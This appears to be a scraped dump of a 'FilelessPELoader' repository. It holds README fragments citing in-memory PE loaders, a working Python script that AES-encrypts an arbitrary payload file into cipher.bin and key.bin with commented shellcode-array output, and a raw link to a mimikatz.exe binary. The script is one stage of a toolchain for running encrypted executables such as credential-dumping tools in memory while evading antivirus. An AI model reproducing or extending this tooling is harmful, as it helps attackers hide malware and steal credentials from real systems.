![filelessremotepe](https://raw.githubusercontent.com/illegal-instruction-co/FilelessPELoader/main/assets/2.png) 10 | 11 | ### References : 12 | 13 | https://github.com/aplyc1a/PEMemoryLoader?fbclid=IwAR2-VAQo8pJU-tdbSENjhDBdDGi5tyzrnW1S3D9BPAYR6C6-RK4hsEDjDGk 14 | 15 | https://github.com/Octoberfest7/Inline-Execute-PE 16 | 17 | ### Requirements 18 | 1. hashlib 19 | 2. pycryptodome 20 | 3. pycryptodomex 21 | -------------------------------------------------------------------------------- /aes.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from Crypto.Cipher import AES 3 | from Crypto.Util.Padding import pad 4 | from os import urandom 5 | import hashlib 6 | 7 | def AESencrypt(plaintext, key): 8 | k = hashlib.sha256(KEY).digest() 9 | iv = 16 * b'\x00' 10 | plaintext = pad(plaintext, AES.block_size) 11 | cipher = AES.new(k, AES.MODE_CBC, iv) 12 | ciphertext = cipher.encrypt(plaintext) 13 | return ciphertext,key 14 | 15 | def dropFile(key, ciphertext): 16 | with open("cipher.bin", "wb") as fc: 17 | fc.write(ciphertext) 18 | with open("key.bin", "wb") as fk: 19 | fk.write(key) 20 | #print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };') 21 | #print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };') 22 | 23 | 24 | try: 25 | file = open(sys.argv[1], "rb") 26 | content = file.read() 27 | except: 28 | print("Usage: .\AES_cryptor.py PAYLOAD_FILE") 29 | sys.exit() 30 | 31 | 32 | KEY = urandom(16) 33 | ciphertext, key = AESencrypt(content, KEY) 34 | 35 | dropFile(KEY,ciphertext) 36 | 37 | -------------------------------------------------------------------------------- /mimikatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/H4K6/FilelessPELoader/7898307548ed260d94148f8435aadfda69675c5b/mimikatz.exe --------------------------------------------------------------------------------